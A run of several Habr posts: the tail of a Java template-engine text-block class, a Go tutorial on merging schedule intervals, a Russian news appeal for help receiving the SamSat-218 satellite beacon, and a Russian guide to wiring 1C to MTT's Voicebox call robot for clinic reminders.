> \* Simply outputs the text.
>
> \*/
>
> public void accept(Environment env)
>
> throws IOException
>
> {
>
> env.getOut().write(text);
>
> }
>
>
>
> public String getCanonicalForm() {
>
> String text = new String(this.text);
>
> if (unparsed) {
>
> return "<#noparse>" + text + "";
>
> }
>
> return text;
>
> }
>
>
>
> public String getDescription() {
>
> String s = new String(text).trim();
>
> if (s.length() == 0) {
>
> return "whitespace";
>
> }
>
> if (s.length() > 20) {
>
> s = s.substring(0,20) + "...";
>
> s = s.replace('\n', ' ');
>
> s = s.replace('\r', ' ');
>
> }
>
> return "text block (" + s + ")";
>
> }
>
>
>
> TemplateElement postParseCleanup(boolean stripWhitespace) {
>
> if (text.length == 0) return this;
>
> int openingCharsToStrip = 0, trailingCharsToStrip=0;
>
> boolean deliberateLeftTrim = deliberateLeftTrim();
>
> boolean deliberateRightTrim = deliberateRightTrim();
>
> if (!stripWhitespace || text.length == 0 ) {
>
> return this;
>
> }
>
> if (parent.parent == null && previousSibling() == null) return
>
> this;
>
> if (!deliberateLeftTrim) {
>
> trailingCharsToStrip = trailingCharsToStrip();
>
> }
>
> if (!deliberateRightTrim) {
>
> openingCharsToStrip = openingCharsToStrip();
>
> }
>
> if (openingCharsToStrip == 0 && trailingCharsToStrip == 0) {
>
> return this;
>
> }
>
> this.text = substring(text, openingCharsToStrip, text.length - trailingCharsToStrip);
>
> if (openingCharsToStrip > 0) {
>
> this.beginLine++;
>
> this.beginColumn = 1;
>
> }
>
> if (trailingCharsToStrip >0) {
>
> this.endColumn = 0;
>
> }
>
> return this;
>
> }
>
>
>
> /\*\*
>
> \* Scans forward the nodes on the same line to see whether there
>
> is a
>
> \* deliberate left trim in effect. Returns true if the left trim
>
> was present.
>
> \*/
>
> private boolean deliberateLeftTrim() {
>
> boolean result = false;
>
> for (TemplateElement elem = this.nextTerminalNode();
>
> elem != null && elem.beginLine == this.endLine;
>
> elem = elem.nextTerminalNode())
>
> {
>
> if (elem instanceof TrimInstruction) {
>
> TrimInstruction ti = (TrimInstruction) elem;
>
> if (!ti.left && !ti.right) {
>
> result = true;
>
> }
>
> if (ti.left) {
>
> result = true;
>
> int lastNewLineIndex = lastNewLineIndex();
>
> if (lastNewLineIndex >=0 || beginColumn == 1) {
>
> char[] firstPart = substring(text, 0, lastNewLineIndex + 1);
>
> char[] lastLine = substring(text, 1+lastNewLineIndex);
>
> if (trim(lastLine).length == 0) {
>
> this.text = firstPart;
>
> this.endColumn = 0;
>
> } else {
>
> int i =0;
>
> while (Character.isWhitespace(lastLine [i])) {
>
> i++;
>
> }
>
> char[] printablePart = substring(lastLine, i);
>
> this.text = concat(firstPart, printablePart);
>
> }
>
> }
>
> }
>
> }
>
> }
>
> if (result) {
>
> }
>
> return result;
>
> }
>
>
>
> /\*\*
>
> \* Checks for the presence of a t or rt directive on the
>
> \* same line. Returns true if the right trim directive was
>
> present.
>
> \*/
>
> private boolean deliberateRightTrim() {
>
> boolean result = false;
>
> for (TemplateElement elem = this.prevTerminalNode();
>
> elem != null && elem.endLine == this.beginLine;
>
> elem = elem.prevTerminalNode())
>
> {
>
> if (elem instanceof TrimInstruction) {
>
> TrimInstruction ti = (TrimInstruction) elem;
>
> if (!ti.left && !ti.right) {
>
> result = true;
>
> }
>
> if (ti.right) {
>
> result = true;
>
> int firstLineIndex = firstNewLineIndex() +1;
>
> if (firstLineIndex == 0) {
>
> return false;
>
> }
>
> if (text.length > firstLineIndex
>
> && text[firstLineIndex-1] == '\r'
>
> && text[firstLineIndex] == '\n')
>
> {
>
> firstLineIndex++;
>
> }
>
> char[] trailingPart = substring(text, firstLineIndex);
>
> char[] openingPart = substring(text, 0, firstLineIndex);
>
> if (trim(openingPart).length ==0) {
>
> this.text = trailingPart;
>
> this.beginLine++;
>
> this.beginColumn=1;
>
> } else {
>
> int lastNonWS = openingPart.length -1;
>
> while (Character.isWhitespace(text[lastNonWS])) {
>
> lastNonWS--;
>
> }
>
> char[] printablePart = substring(text, 0,lastNonWS+1);
>
> if (trim(trailingPart).length == 0) {
>
> // THIS BLOCK IS HEINOUS! THERE MUST BE A BETTER WAY! REVISIT (JR)
>
> boolean trimTrailingPart = true;
>
> for (TemplateElement te = this.nextTerminalNode();
>
> te != null && te.beginLine == this.endLine;
>
> te = te.nextTerminalNode())
>
> {
>
> if (te.heedsOpeningWhitespace())
>
> {
>
> trimTrailingPart = false;
>
> }
>
> if (te instanceof TrimInstruction && ((TrimInstruction) te).left) {
>
> trimTrailingPart = true;
>
> break;
>
> }
>
> }
>
> if (trimTrailingPart) trailingPart = EMPTY\_CHAR\_ARRAY;
>
> }
>
> this.text = concat(printablePart, trailingPart);
>
> }
>
> }
>
> }
>
> }
>
> return result;
>
> }
>
> /\*
>
> private String leftTrim(String s) {
>
> int i =0;
>
> while (i
>
> if (!Character.isWhitespace(s.charAt(i)))
>
> break;
>
> ++i;
>
> }
>
> return s.substring(i);
>
> }
>
> \*/
>
> private int firstNewLineIndex() {
>
> String content = new String(text);
>
> int newlineIndex1 = content.indexOf('\n');
>
> int newlineIndex2 = content.indexOf('\r');
>
> int result = newlineIndex1 >=0 ? newlineIndex1 : newlineIndex2;
>
> if (newlineIndex1 >=0 && newlineIndex2 >=0) {
>
> result = Math.min(newlineIndex1, newlineIndex2);
>
> }
>
> return result;
>
> }
>
>
>
> private int lastNewLineIndex() {
>
> String content = new String(text);
>
> return Math.max(content.lastIndexOf('\r'), content.lastIndexOf
>
> ('\n'));
>
> }
>
>
>
> /\*\*
>
> \* figures out how many opening whitespace characters to strip
>
> \* in the post-parse cleanup phase.
>
> \*/
>
> private int openingCharsToStrip() {
>
> int newlineIndex = firstNewLineIndex();
>
> if (newlineIndex == -1 && beginColumn != 1) {
>
> return 0;
>
> }
>
> ++newlineIndex;
>
> if (text.length > newlineIndex) {
>
> if (newlineIndex >0 && text[newlineIndex-1] == '\r' && text[newlineIndex] == '\n') {
>
> ++newlineIndex;
>
> }
>
> }
>
> if (new String(text).substring(0, newlineIndex).trim().length() >0) {
>
> return 0;
>
> }
>
> // We look at the preceding elements on the line to see if we should
>
> // strip the opening newline and any whitespace preceding it.
>
> for (TemplateElement elem = this.prevTerminalNode();
>
> elem != null && elem.endLine == this.beginLine;
>
> elem = elem.prevTerminalNode())
>
> {
>
> if (elem.heedsOpeningWhitespace())
>
> {
>
> return 0;
>
> }
>
> }
>
> return newlineIndex;
>
> }
>
>
>
> /\*\*
>
> \* figures out how many trailing whitespace characters to strip
>
> \* in the post-parse cleanup phase.
>
> \*/
>
> private int trailingCharsToStrip() {
>
> String content = new String(text);
>
> int lastNewlineIndex = lastNewLineIndex();
>
> if (lastNewlineIndex == -1 && beginColumn != 1) {
>
> return 0;
>
> }
>
> String substring = content.substring(lastNewlineIndex +1);
>
> if (substring.trim().length() >0) {
>
> return 0;
>
> }
>
> // We look at the elements afterward on the same line to see if weshould
>
> // strip any whitespace after the last newline
>
> for (TemplateElement elem = this.nextTerminalNode();
>
> elem != null && elem.beginLine == this.endLine;
>
> elem = elem.nextTerminalNode())
>
> {
>
> if (elem.heedsTrailingWhitespace())
>
> {
>
> return 0;
>
> }
>
> }
>
> return substring.length();
>
> }
>
>
>
> boolean heedsTrailingWhitespace() {
>
> if (isIgnorable()) {
>
> return false;
>
> }
>
> for (int i=0; i
> char c = text[i];
>
> if (c=='\n' || c=='\r') {
>
> return false;
>
> }
>
> if (!Character.isWhitespace(c)) {
>
> return true;
>
> }
>
> }
>
> return true;
>
> }
>
>
>
> boolean heedsOpeningWhitespace() {
>
> if (isIgnorable()) {
>
> return false;
>
> }
>
> for (int i = text.length -1; i>=0; i--) {
>
> char c = text[i];
>
> if (c == '\n' || c == '\r') {
>
> return false;
>
> }
>
> if (!Character.isWhitespace(c)) {
>
> return true;
>
> }
>
> }
>
> return true;
>
> }
>
>
>
> boolean isIgnorable() {
>
> if (text == null || text.length == 0) {
>
> return true;
>
> }
>
> if (!isWhitespace()) {
>
> return false;
>
> }
>
> // trick here
>
> boolean atTopLevel = true;
>
> TemplateElement prevSibling = previousSibling();
>
> TemplateElement nextSibling = nextSibling();
>
> return ((prevSibling == null && atTopLevel) || nonOutputtingType(prevSibling))
>
> && ((nextSibling == null && atTopLevel) || nonOutputtingType(nextSibling));
>
> }
>
>
>
> private boolean nonOutputtingType(TemplateElement element) {
>
> return (element instanceof Macro ||
>
> element instanceof Assignment ||
>
> element instanceof AssignmentInstruction ||
>
> element instanceof PropertySetting ||
>
> element instanceof LibraryLoad ||
>
> element instanceof Comment);
>
> }
>
>
>
> private static char[] substring(char[] c, int from, int to) {
>
> char[] c2 = new char[to - from];
>
> System.arraycopy(c, from, c2, 0, c2.length);
>
> return c2;
>
> }
>
>
>
> private static char[] substring(char[] c, int from) {
>
> return substring(c, from, c.length);
>
> }
>
>
>
> private static char[] trim(char[] c) {
>
> if (c.length == 0) {
>
> return c;
>
> }
>
> return new String(c).trim().toCharArray();
>
> }
>
>
>
> private static char[] concat(char[] c1, char[] c2) {
>
> char[] c = new char[c1.length + c2.length];
>
> System.arraycopy(c1, 0, c, 0, c1.length);
>
> System.arraycopy(c2, 0, c, c1.length, c2.length);
>
> return c;
>
> }
>
>
>
> boolean isWhitespace() {
>
> return text == null || trim(text).length == 0;
>
> }
>
>
>
> }` | https://habr.com/ru/post/88979/ | null | ru | null |
# Algorithms in Go: Merge Intervals
This is the third part of a [series](https://habr.com/en/post/545986/) covering the implementation of algorithms in Go. In this article, we discuss the Merge Intervals algorithm. Usually, when you start learning algorithms you have to deal with some problems like finding the least common denominator or finding the next Fibonacci number. While these are indeed important problems, it is not something that we solve every day. Actually, in the vast majority of cases, we only solve such kinds of algorithms when we learn how to solve the algorithms. What I like about the Merge Interval algorithm is that we apply it in our everyday life, usually without even noticing that we are solving an algorithmic problem.
Let's say that we need to organize a meeting for our team. We have three colleagues Jay, May, and Ray and their time schedule look as follows (a colored line represents an occupied timeslot):
Which timeslot should we pick up for a new meeting? One could look at the picture, find a gap in Ray's schedule, and check whether the others a gap there as well.
How can we implement this logic? Most straightforwardly, we can iterate through every minute of the day and check whether someone is having a meeting during that time. If none of the colleagues are occupied at that time, we find an available minute.
How can we simplify this approach? Instead of checking all employees for every minute, we can merge their schedules and find the available slots in the resulting schedule.
After the merge, we can iterate through the array of the merged meetings and find the gaps.
How can we implement the algorithm above? Let's create type `Slot` that represents a time slot in the schedule; for simplicity, we use integers to denote the start and the end of the time slot instead of `time.Time` type.
```
type Slot struct {
start int
end int
}
```
For each of the employees will have a sorted array of `Slots` (staring from the earliest time slot) that represent occupied time slots in their schedule. Our function will take an array of `Slot` arrays that represents the schedule for the whole team as an input parameter.
```
[][]Slot{
{{9, 10}}, // occupied time slots for John
{{1, 3}, {5, 6}}, // occupied time slots for James
{{2, 3}, {6, 8}}, // ...
{{4, 6}
}
```
Our function will return an array of `Slots` that represent the commonly available slots for each member of the team.
We merge the schedules of two employees by merging their arrays of `Slots`. How do we do the merge of two arrays? We need to iterate through both arrays and see whether we have overlapping time slots. How can we know that the slots are overlapping? In general, we have two options for overlapping intervals A and B:
If neither of the two above conditions is satisfied, then the intervals do not overlap.
We can iterate through both of the arrays and see whether we have an overlap. Let's `arr1` and `arr2` represent the occupied time slots for two employees. We start with `i1` and `i2` equal to zero and continue the iteration till we exhaust either of the arrays. At each step, we check whether the current intervals from each of the arrays overlap.
```
// Merge two array of slots.
func Merge(arr1, arr2 []Slot) []Slot {
out := make([]Slot, 0)
i1, i2 := 0, 0
for i1 < len(arr1) && i2 < len(arr2) {
v1, v2 := arr1[i1], arr2[i2]
```
If the intervals overlap then we merge them. Let's say interval `v1` from `arr1` ends earlier than `v2` from `arr2` In this case, the next interval from `arr1` can have an overlap with the merged interval of `v1` and `v2`. Therefore, we merge `v1` into `v2`, i.e. `v2.Start = min(v2.Start, v1.Start)` and `v2.Stop = max(v2.Stop, v1.Stop)` and increase `i1`. `i2` stays the same, therefore at the next iteration, we will check whether the next interval from `arr1` overlaps with the merged interval.
```
overlap12 := (v2.Start >= v1.Start) && (v2.Start <= v1.Stop)
overlap21 := (v1.Start >= v2.Start) && (v1.Start <= v2.Stop)
if overlap12 || overlap21 {
merged := Slot{
Start: min(v1.Start, v2.Start),
Stop: max(v1.Stop, v2.Stop),
}
if v1.Stop < v2.Stop {
arr2[i2] = merged
i1++
} else {
arr1[i1] = merged
i2++
}
continue
}
```
If there is no overlap, we save the interval with the earliest stop (let's say an interval `v2` from `arr2`) to the output array and increase index `i2` for `arr2.` The other interval `v1` from `arr1` can still have an overlap with the next interval from `arr2` so we don't increase `i1`.
```
if v1.Stop < v2.Stop {
out = append(out, v1)
i1++
} else {
out = append(out, v2)
i2++
}
```
When `i1` or `i2` becomes equal to the length of the corresponding array we stop the iteration. As no more overlaps are possible, we simply add the remaining intervals to the output array.
The full listing for the function:
```
// Merge two arrays of meetings.
func Merge(arr1, arr2 []Slot) []Slot {
out := make([]Slot, 0)
i1, i2 := 0, 0
for i1 < len(arr1) && i2 < len(arr2) {
v1, v2 := arr1[i1], arr2[i2]
overlap12 := (v2.Start >= v1.Start) && (v2.Start <= v1.Stop)
overlap21 := (v1.Start >= v2.Start) && (v1.Start <= v2.Stop)
if overlap12 || overlap21 {
merged := Slot{
Start: min(v1.Start, v2.Start),
Stop: max(v1.Stop, v2.Stop),
}
if v1.Stop < v2.Stop {
arr2[i2] = merged
i1++
} else {
arr1[i1] = merged
i2++
}
continue
}
// no overlap; save the earliest of the intervals
if v1.Stop < v2.Stop {
out = append(out, v1)
i1++
} else {
out = append(out, v2)
i2++
}
}
out = append(out, arr1[i1:]...)
out = append(out, arr2[i2:]...)
return out
}
```
We merged the schedules of two colleagues. We need to merge all the schedules and then find the gaps within the merged schedule. How do find the gaps? We need to invert a `Slot` array considering the start and the end of the working day.
```
// Given an array of occupied time slots,
// returns available time slots in range from 1 to 12.
// We consider that working day starts at 1 and ends at 12.
func inverseSchedule(schedule []Slot) []Slot {
start := 1
var out []Slot
for ind, appointment := range schedule {
if ind == 0 && appointment.Start == 1 {
start = appointment.Stop
continue
}
out = append(out, Slot{Start: start, Stop: appointment.Start})
start = appointment.Stop
}
if start < 12 {
out = append(out, Slot{Start: start, Stop: 12})
}
return out
}
```
The resulting function looks as follows:
```
// AvailableSlots for all employees.
// Working hours starts at 1 ends at 12.
func AvailableSlots(schedule [][]Slot) []Slot {
if len(schedule) == 0 {
return []Slot{{1, 12}}
}
if len(schedule) == 1 {
return inverseSchedule(schedule[0])
}
merged := Merge(schedule[0], schedule[1])
for _, s := range schedule[2:] {
merged = Merge(merged, s)
}
return inverseSchedule(merged)
}
```
Here you can find the [source code](https://gist.github.com/a11310b036a62716ea70f8e38f5bcf21) and the [tests](https://gist.github.com/c9ebf7979df346c2f54cc8d1996f10c8) for the solution.
In this post, we implemented a solution for the Merge Intervals problem. This is one of the most popular algorithmic patterns that solve an entire class of problems. More algorithmic patterns such as [Sliding Window](https://habr.com/en/post/531444/) or [Iterative Postorder Traversal](https://habr.com/en/post/545980/)can be found in the series [Algorithms in Go.](https://habr.com/en/post/545986/) | https://habr.com/ru/post/538888/ | null | en | null |
# Российский спутник «СамСат-218» не выходит на связь. Нужна помощь сообщества
### Разработчики обратились к радиолюбителям за помощью в поиске сигналов спутника
28 апреля ракета-носитель «Союз-2.1а» вывела на орбиту три космических аппарата: «Ломоносов», «Аист-2Д» и SamSat-218 («СамСат-218»).
КА «Ломоносов» массой 645 кг оснащён космическим телескопом для измерения энергетического спектра и химического состава космических лучей предельно высоких энергий, на борту аппарата установлены комплексы приборов по исследованию космических гамма-всплесков и ближней магнитосферы Земли.
«Аист-2Д» — российский спутник дистанционного зондирования Земли с разрешающей способностью до 1,5 м.
Спутник «СамСат-218» — проект студентов Самарского государственного аэрокосмического университета (СГАУ) и конструкторов РКЦ «Прогресс», является частью комплекса научной аппаратуры «Контакт». Вторая часть комплекса размещается на борту малого космического аппарата «Аист-2Д». Задача комплекса — отработка технологии управления малыми космическими аппаратами.
Запуск с космодрома Восточный [прошёл успешно](https://geektimes.ru/post/275024/).
28 апреля 2016 года в 08:13 МСК аппараты впервые оказались в зоне радиовидимости. Сразу обнаружились первые сигналы со спутников «Аист-2Д» и «Ломоносов», [сообщил в своём блоге](http://r4uab.ru/?p=11860) радиолюбитель Дмитрий Пашков.
А вот спутник «СамСат-218» молчал.
Прошло уже шесть суток с момента запуска, но со спутника до сих пор не поступило никаких сигналов.
Для связи с «СамСат-218» выделены полосы радиочастот 145,85-145,89 МГц (космос-Земля) и 435,59-435,61 МГц (Земля-космос). К сожалению, до сих пор на этих частотах присутствия спутника «СамСат-218» нет.
«Нельзя исключать, что аппарат попросту не включился по каким-то причинам после отделения, не заработал бортовой компьютер, не заряжаются аккумуляторы и другие возможные причины», — пишет Дмитрий Пашков.
Вчера коллектив разработчиков наноспутника межвузовской кафедры космических исследований СГАУ [обратился за помощью](http://r4uab.ru/?p=11865) ко всем радиолюбителям, кто имеет возможность принимать сигналы со спутников в УКВ диапазоне (144МГц).
> На спутнике установлен радиомаяк, который передаёт каждые 150 сек (или 30 сек) слово SamSat-218D в течение 15 сек на частоте 145.870 МГц. Передача ведется кодом Морзе в режиме CW. Во время прохождения спутника над нашей приёмной станцией мы слышим обрывочную морзянку на фоне шума, но не уверены в степени её достоверности. Обращаемся с просьбой прослушать эфир на вышеупомянутой частоте, записать аудиосигнал и переслать на почту *teomant@bk.ru*. По всем вопросам, связанным с приёмом, готовы предоставить дополнительную информацию, если необходимо. Обработка большого объёма данных позволит нам понять характер проблемы (возможно спутник сильно закрутился при выходе из транспортно-пускового контейнера) и попытаться оценить скорость вращения.
>
>
>
> `SAMSAT-218D
>
> 1 41466U 16026C 16125.25494875 .00012535 00000-0 44298-3 0 9991
>
> 2 41466 97.2755 31.2653 0009906 239.0998 279.3893 15.29281052 929`
Попробовать принять сигналы со спутника SamSat-218 можно на [онлайн WEBSDR приёмнике](http://websdr.r4uab.ru/), настроившись на частоту 145.870 МГц. | https://habr.com/ru/post/393823/ | null | ru | null |
# Как 1С и голосовой робот МТТ помогли автоматизировать уведомления клиентов в клинике
«Здравствуйте, Вы записаны на завтра, 5 июня 2022 года, на прием к стоматологу, в 10:05. Вы придете на прием?».
Пожалуй, каждый из нас, в той или иной форме получал подобный звонок от оператора колл-центра клиники. На фоне другие операторы кликают клавишами, доносится гул их голосов. Усталым голосом оператор отрабатывает скрипт, кладет трубку. Полезный звонок, надо поставить напоминание в телефоне, предупредить коллег, что с 10 до 11 будешь не на связи.
Такие звонки достаточно просто автоматизировать, обрабатывать и отслеживать. Мало того, с точки зрения комфортной беседы, исполнение такого скрипта роботом с простыми вариантами ответа — «Да», «Нет», «Оператор» — создают более привлекательное впечатление о бизнесе, который инициирует звонок. Приятным голосом, за короткое время, вы получаете полезное сообщение, что может быть удобнее?
Бизнес же экономит ресурсы за счет сокращения времени звонков, перенаправления сил операторов на более важные направления, возможности заранее представлять загрузку специалистов, использовать освободившееся время для визита других клиентов (отдельная интересная задача для автоматизации).
Меня зовут Дмитрий Лупонос. Я был админом и программистом 1С в нулевые, потом перешёл в менеджмент. Сейчас работаю ведущим программистом 1С. У меня есть разный опыт: менеджера, разработчика и админа. И как со всем этим не заняться интеграциями.
В этой инструкции постараюсь максимально широко раскрыть вопрос связки базы данных 1С с роботом МТТ
Постановка задачи
-----------------
В клинике на Linux-сервере уже развернута отраслевая конфигурация 1С для работы с пациентами, в которой есть все данные для совершения звонков с уведомлениями о визите.
Чтобы исключить проблемы со связью, выбрали сервис МТТ с использованием voicebox.mtt.ru, там есть доступ к настройкам скриптов обзвона, настройкам кампаний обзвона.
Предполагается, что у пациента, скорее всего, доступна входящая голосовая связь. Он может не прочитать СМС, а мессенджеры и вовсе не установлены (или недоступны к установке). Клиент может предоставить как номер городского пула, так и личный номер мобильного, не всегда может сам ответить на звонок, но, скорее всего, информация будет доведена до пациента.
Все изменения требуется производить «в стороне» от конфигурации, не затрагивая существующие объекты тем или иным образом. У клиента сейчас идет обновление на несколько релизов вперед и он опасается, что изменения могут повлиять как прямым образом на ход обновления, так и косвенным, а именно подрядчик может заявить о «вмешательстве» в ход обновления третьего лица.
Идеальный сценарий: за сутки до визита, в произвольное время дня, но допустимое для звонка, сделать звонок с сервера 1С. В этом звонке роботу нужно обратиться к абоненту по имени и отчеству, сообщить специализацию специалиста, дату и время визита.
Во время звонка могут произойти следующие события:
1. Прием звонка и подтверждение визита.
2. Прием звонка и отмена визита.
3. Прием звонка и, в результате прохождения скрипта, соединение с оператором.
4. Прием звонка и отбой до завершения отработки скрипта.
5. Отказ от приема – нет соединения или не ответ.
Затем стоит отразить изменения во время общения робота МТТ с пациентом: в статусе документа в базе данных отразится принятый ответ, что позволит определить загрузку специалистов.
Совершать любой звонок можно не более трех раз при статусах 4 и 5, как только возникает событие 1, 2, 3 прекращаем обзвон по этому пациенту.
**На рисунках 1-4 я привел укрупненную блок-схему постановки задачи в работу и обработку планировщиком на сервере 1С, прием ответа от МТТ:**
Рис. 1: Постановка задания в очередь
Рис. 2: Формирование записи о событии.
Рис. 3: Работа планировшика сервера 1С
Рис. 4: Обработка входящего статуса после завершения звонка
Про настройку скрипта
---------------------
В интерфейсе сервиса я нашёл инструменты для настройки скриптов прозвона и извлечения отчетов с детализацией звонков, план нумерации.
Чтобы решить задачу, я создаю сценарий, привязываю его к компании, для чего также использую номер из плана нумерации.
### Создание сценария
Создаю сценарий с названием 1С тест – уведомление о приеме. В интерфейсе сценарий отображается в виде блок-схемы из блоков различного назначения. Приведу некоторые из них на рисунках 5-6.
Рис. 5: Блок формирования JSON-запроса, вид 1
Рис. 6: Блок формирования JSON-запроса, вид 2
Один из самых ключевых блоков скрипта – блок оповещения, обратной связи с передачей статуса. Нам важно провести сериализацию JSON-запроса, чтобы не перегрузить данными прием ответа и сохранить понятную структуру при различных ответах. Иначе алгоритм обработки полученного от МТТ сообщения о результате скрипта будет слишком ветвистым.
Поэтому, согласно возможным статусам, у JSON-Запроса всего шесть блоков формирования, различаются они только передаваемым статусом. Приведу схему работы запроса на рисунке 7.
Рис. 7: Блок-схема реализации скрипта прозвона Voicebox МТТ
Тип сценария: исходящий сценарий. Содержит в себе начальные настройки для произведения звонка (Рис. 8-10).
Рис. 8: Исходящий звонок, вид 1
Выбираю голос и скорость воспроизведения, переход на блок звонок – единственный вариант в этом блоке. При ошибке наш сервер 1С не получит как call\_id (ниже подробнее про ответы Voicebox), и необходим обход по незавершенным статусам и перезапуск. Количество попыток, конечно, стоит ограничить.
Рис. 9: Исходящий звонок, вид 2
Затем идёт настройка переменных JSON, которые в результате работы скрипта будут как приходить, так и отправляться. Тут можно добавлять и исправлять произвольные переменные для использования в голосовом скрипте.
Рис. 10: Исходящий звонок, вид 3
Затем настройки для формирования JSON-запроса, привязанного к инициации звонка. В нашем случае сервер 1С отрабатывает любой не-ответ как ошибку, это стандартное действие, поэтому настроек нет.
После перехода на звонок алгоритм скрипта разветвляется (Рис. 7) на ошибку и успех. По каждой следующей ветке вставим информирование о произведении звонка блоком HTTP. Обратите внимание, в моем алгоритме при успешном совершении передается статус ошибки, это индикатор поднятия трубки абонентом. Теперь, если абонент прервет связь до окончания следующего блока, то сервер 1С уже получит статус успешного звонка из этого блока.
При ошибке звонка сервер 1С получит статус из блока 1С-Недозвон, после чего алгоритм завершится.
Ветка успешного звонка после блока ведёт к ошибке, но это ветвление алгоритма для невозможности передать запрос по ссылке из HTTP блока, и обе стрелки перекрывает на статус «Ошибка». Не стоит обращать на это внимание. Советую убедиться в ветвлении в настройках HTTP запроса (рис. 6) – обе ветки переходят на блок «вопрос».
Рис. 11: Блок «Вопрос», вид 1
В блоке содержатся настройки номера, с помощью которого идёт работа скрипта, переходы.
Рис. 12: Блок «Вопрос», вид 2
Теперь ключевой момент блока «Вопрос» — выделенные фигурными скобками переменные из запроса JSON, который описан в настройке «Исходящий звонок» на рисунке 10.
На стороне 1С сформирована строка {{name}}, в моем случае с Именем и Отчеством пациента и {{visit}}, в которой содержится описание визита – дата, время, специальность специалиста. Приведу часть запроса:
```
"data": {
"number": "71234567890",
"guid": "b70a03fe-e239-11ec-0c87-fe3375dcbab9",
"name": "Валерия Сергеевна",
"visit": "Эндоскопист 4 июня 2022 г 11 30"
}
```
В поле visit данные без лишних символов, которые робот МТТ произнести не сможет, сама процедура в полном объеме ниже.
Рис. 13: Блок «Вопрос», вид 3
В этом блоке обратите внимание на тайминг 10 секунд – ожидание ответа на вопрос, возможность ответа голосом или на клавиатуре. На количестве посещений, равное двум подразумевает количество повторения вопроса скрипта.
Рис. 14 Блок «Вопрос», вид 4
Вариантов перехода блока «Вопрос» больше, чем в предыдущих блоках. Удобнее отследить разветвление алгоритма графически, на рисунке 7.
### Итог работы скрипта
При переходе на вопрос в результате исполнения блока «Вопрос» в ветках:
1. Успешно – передаем на сервер 1С статус успешно, проигрываем блок Придет.
2. В случае ошибки переводим на оператора.
3. В случае определения блоком Вопрос автоответчика или отказа уходим в блоки 1С-Недозвон и Отбой.
4. В случае успеха (ответ «Да») – передача в 1С данных подтверждения, проигрывания блока Придет и завершения звонка.
5. В случае отказа (ответ «Нет») – снова аналогичный блок вопрос, уточняющий, устроит ли пациента другое время.
5.1. В случае успеха (ответ: «Да») – проигрываем блок с записью другое время и переводим на оператора с уведомлением сервера 1С «оператор».
5.2. В случае ошибки также происходит перевод на оператора с уведомлением сервера 1С «оператор».
5.3. В случае отказа (ответ «Нет») – проигрываем блок «Ничего не нужно» и завершаем звонок с уведомлением сервера 1С «Отказ».
Настройка прозвона клиентов скриптом 1С тест – уведомление о приеме
-------------------------------------------------------------------
Для реализации JSON метода для обращения к серверу voicebox.mtt.ru необходимо создать кампанию, указать метод прозвона, HTTP-запрос, выбрать тип кампании и номер из пула номеров (Рис. 15).
Рис. 15: настройки компании.
При выборе вида запуска «По HTTP запросу», выборе сценария «1С тест – уведомление о приеме», выборе номера – «наш номер» получаем необходимые для управления данные:
1. URL для обращения к методу.
2. Логин для обращения к методу.
3. Пароль для обращения к методу.
4. Формат JSON-запроса. Приведу пример моего запроса:
```
{ "method":"78033x2x-21x7-47xx-x292-590x24146043",
"data":{
"number": "",
"guid": "",
"name":"",
"visit":""
}
}
```
Пароль вносится в метод в виде строки Base64, в который конвертируется так строка : с помощью онлайн-механизмов конвертации или ПО, например, Postman. Полученную строку необходимо использовать при передаче (листинг 5, в моем случае) данных в сокет VoiceBox.
Как реализовать управление в 1С и особенности обмена с Voicebox
---------------------------------------------------------------
Созданные в конфигурации объекты не касаются типовых объектов. Точкой входа назначена процедура «ПриЗаписи» документа, фиксирующего бронирование времени у специалиста со статусом «Бронь». В данной реализации записи о бронировании заносятся в справочник МТТ\_Обзвон со структурой как на рисунке 16.
Рис 16. Структура справочника
Кратко о реквизитах:
* Пациент – ссылка на справочник «Пациенты», где есть информация для работы скрипта: имя, отчество, телефон. Вносятся в данные справочника NameStr, VisitStr.
* ЗаписьПациента – ссылка на документ «ЗаписьПациента», которому нужно устанавливать статус на основе полученного ответа по результатам работы скрипта МТТ.
* Дата, Время приема – разделена переменная ДатаВремяПриема для работы запроса, формирования отчета и работы регламентного задания.
* Завершен – буль, признак завершения задания.
* КоличествоНеудачныхПопыток – счетчик попыток звонка для работы алгоритма.
* Прочие данные заполняются из ответов HTTP-методов Voicebox MTT.
*UPD1: В связи с вопросами коллег в комментариях, отмечу, что во-первых код изложен для максимального понимания, но не в полном объеме. Только то, что касается обмена 1С-МТТ VoiceBox. Во-вторых, методы решения задачи подстановки значений, в частности, данных справочников лучше, корректнее. Данный код не претендует на идеальность, прошу учитывать данный момент при подстановке в свои решения, требуется оптимизация частей кода, не связанных с работой обмена. В-третьих, те или иные решения формируются из собственного опыта и понимания отношения заказчика к отношению данным базы, в частности, существует гарантия, что наименование элемента справочника «СтатусыДокумента» изменено не будет.*
### Листинг методов для работы с Voicebox МТТ
Все методы реализованы в модуле менеджера справочника, являются экспортными и вызываются по ссылке Справочники.МТТ\_Обмен.<ИмяМетода>().
1. Метод записи данных справочника: Процедура ОбработатьЗаписьПациента(ЗаписьПациента) Экспорт
```
&НаСервере
Процедура ОбработатьЗаписьПациента(ЗаписьПациента) Экспорт
//Нет ссылки на документ
Если ЗаписьПациента = Неопределено Тогда
Возврат;
КонецЕсли;
//ДатаИВремя записи меньше окончания сегодняшнего дня (согласно условий задачи звонки идут на прием ТекущаяДата() + День
Если ЗаписьПациента.ДатаИВремя < КонецДня(ТекущаяДата()) Тогда
Возврат;
КонецЕсли;
//Если не заполнены данные пациента – возврат
Если не ТипЗнч(ЗаписьПациента.Пациент) = Тип("СправочникСсылка.Пациенты") Тогда
Возврат;
КонецЕсли;
СписокСтатусов = Новый СписокЗначений;
СписокСтатусов.Добавить(Справочники.СтатусДокумента.НайтиПоНаименованию("Не явка"));
СписокСтатусов.Добавить(Справочники.СтатусДокумента.НайтиПоНаименованию("Отменен"));
СписокСтатусов.Добавить(Справочники.СтатусДокумента.НайтиПоНаименованию("Прием окончен"));
ОбрЭлемент = Справочники.МТТ_Обмен.НайтиПоРеквизиту("ЗаписьПациента",ЗаписьПациента.Ссылка).Ссылка;
//обработка данных записи, выставление статуса «Бронь»
КонецПроцедуры
```
Листинг 1: ОбработатьЗаписьПациента(ЗаписьПациента)
Далее следует проверка на корректность номера пациента функцией ПолучитьНомерПациента(Пациент):
```
&НаСервере
Функция ПолучитьНомерПациента(Пациент) Экспорт
ВхСтрока = Пациент.Телефон;
ВыхСтрока = Сред(ВхСтрока,2,1) + Сред(ВхСтрока,4,3) + Сред(ВхСтрока,8,3) + Сред(ВхСтрока,12,2) + Сред(ВхСтрока,15,2);
Возврат ВыхСтрока;
КонецФункции
```
